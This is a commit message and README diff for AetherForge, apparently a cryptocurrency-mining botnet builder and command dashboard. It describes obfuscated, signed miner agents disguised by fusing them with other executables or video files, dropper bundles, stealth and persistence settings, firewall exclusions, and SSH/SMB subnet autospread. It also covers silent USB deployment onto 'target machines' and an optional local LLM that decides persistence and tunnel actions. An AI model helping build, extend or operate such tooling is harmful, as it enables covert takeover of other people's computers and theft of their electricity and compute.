fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

README.md

@@ -50,7 +50,9 @@ You configure defaults once in **Calibrate**. You forge once per target profile
 
 ### Command Deck (Dashboard)
 
-- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed
+- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed; transport blips keep saved credentials with a **degraded** banner (distinct from 401 logout)
+- **Re-forge guard** — confirmation prompt before re-running a saved blueprint compile
+- **Download resilience** — authed file/log/backup downloads use extended timeouts (5–10 min) with clear `AbortError` messaging
 - Live fleet hashrate, CPU/RAM gauges, share feed
 - **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
 - **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
@@ -91,6 +93,10 @@ You configure defaults once in **Calibrate**. You forge once per target profile
 - Blueprint save/load — re-forge the same profile across machines
 - Build manager — download, paths, LAN QR for worker URL
 - **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
+- **Universal / spread-kit signing** — `sign_build` applies to spread-kit workers and universal-fusion runners (not just single-platform exes)
+- **Build size limits** — universal ZIP, spread-kit, and fusion outputs enforce `checkBuildSizeFile` before dispense
+- **Fusion obfuscation** — launcher compile respects `shouldObfuscate` / garble flags (not just the worker binary)
+- **Dropper bundles** — `/get` resolves `DownloadURL` artifacts; PS1 ZIP handler tries `start.bat` / `deploy.bat` fallbacks
 - **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
 - **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
 - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
@@ -218,7 +224,7 @@ Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the f
 - **Desktop push** — deploy files to `@desktop/` on workers
 - **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
 - **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
-- **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
+- **Path Tracer** — multi-hop WireGuard path builder (dashboard page); peer topology fixed — hop 1 gets client peer (`10.66.0.1/32`), multi-hop adds reverse peers on middle/exit hops; sessions auto-expire after 2h
 - **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
 - **Haptic sound** + **glow particles** — optional UI feedback (Settings)
 
@@ -235,7 +241,7 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
 
 **Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
 
-**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` automatically on launch (USB `LAUNCH.bat` or `AetherForge.exe`). In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port).
+**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` on launch. **Portable USB:** `pack-usb.bat` seeds a default connector token in `usb/data/cloudflared-token.txt` so `LAUNCH.bat` works out of the box — replace with your own token in Calibrate or edit that file. `LAUNCH.bat` starts cloudflared first and sets `AF_TUNNEL_EXTERNAL=1` so the server skips a duplicate spawn. In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port from `data/config.json`).
 
 **Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
 
@@ -278,7 +284,7 @@ Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entr
 | Surface | Mechanism |
 |---------|----------------|
 | `/api/v1/*` REST | HTTP Basic Auth |
-| `/ws/dashboard` | `?token=<base64-user:pass>` |
+| `/ws/dashboard` | `POST /api/v1/auth/ws-ticket` → one-time `?ticket=` (2 min); legacy `?token=` fallback |
 | `/ws/agent` | Fleet-secret `auth` JSON frame |
 | `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
 | Static SPA + `/api/v1/health` | Open (no auth) |
@@ -294,9 +300,11 @@ Run **`pack-usb.bat`** from the project root. It:
 3. Creates `data\` directories with a starter `config.json`
 4. Syncs `LAUNCH.bat`
 
-Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.
+Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → Cloudflare tunnel sidecar starts, then `AetherForge.exe` → dashboard opens at `http://localhost:8989` (or the `port` in `data/config.json`).
 
-> **After any code change**, run `npm run build` in `server/web/`, then `pack-usb.bat` to sync the portable bundle. The USB bundle is **not** updated automatically — it only reflects what was current the last time `pack-usb.bat` ran.
+`LAUNCH.bat` reads `port` from `data/config.json` for display but launches **without** `-port` so config file wins over any CLI default. Bundled Go toolchain lives in `usb/toolchain/`; garble and go-winres install on first run if missing.
+
+> **After any code change**, run `pack-usb.bat` from the repo root (it runs `npm run build`, copies `server/web/dist` → `usb/webroot`, compiles `AetherForge.exe`, syncs agent/fusion source and `LAUNCH.bat`). The USB bundle is **not** updated automatically.
 
 > **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.
 
@@ -406,6 +414,7 @@ crypto miner/
 | Method | Path | Purpose |
 |--------|------|---------|
 | GET | `/api/v1/health` | Health check (no auth) |
+| POST | `/api/v1/auth/ws-ticket` | Issue one-time dashboard WebSocket ticket (Basic auth) |
 | GET/PUT | `/api/v1/config` | Calibrate settings |
 | POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
 | GET | `/api/v1/builds` | List builds |
@@ -424,7 +433,7 @@ crypto miner/
 | GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
 | GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
 | WS | `/ws/agent` | Worker connection |
-| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |
+| WS | `/ws/dashboard?ticket=<one-time>` | Live dashboard feed (legacy `?token=` still accepted) |
 
 Full route list: `server/internal/api/router.go`
 
@@ -438,7 +447,9 @@ Full route list: `server/internal/api/router.go`
 | Linux | XMRig | — | systemd user service | XDG data home |
 | macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |
 
-**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub.
+**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Relay writes go through `AgentClient.mu`; `MeshNode.Stop()` tears down mDNS/host. Default builds use a no-op stub.
+
+**LAN spread:** Shared `deploy/subnet.go` — IPv6 local IPs + /64 prefix matching, IPv4-only active sweep; SSH/SMB prerequisites documented in spread entrypoints.
 
 ---
 
@@ -512,13 +523,16 @@ Vite proxies `/api` and `/ws` to `localhost:8989`.
 
 ## Under the Hood
 
-- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host
+- **Data dir resolution** — portable `LAUNCH.bat` passes `-data`; `mergeConfig` merges `server.fleet_secret` and `tunnel_defaults`; listen **port** comes from `data/config.json` (CLI `-port` does not override saved config)
+- **Cloudflared dedupe** — server skips starting cloudflared when `AF_TUNNEL_EXTERNAL=1` or an external `cloudflared.exe` is already running
+- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host + `PaymentID` in pool key (no integrated-address collisions)
 - **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
 - **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
 - **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
 - **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
 - **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
 - **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
+- **Miner engine** — `HashAtNonce` returns explicit errors (`ErrEngineNotReady`, `ErrBlobTooShort`) instead of silent empty hashes
 - **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
 - **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
 - **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents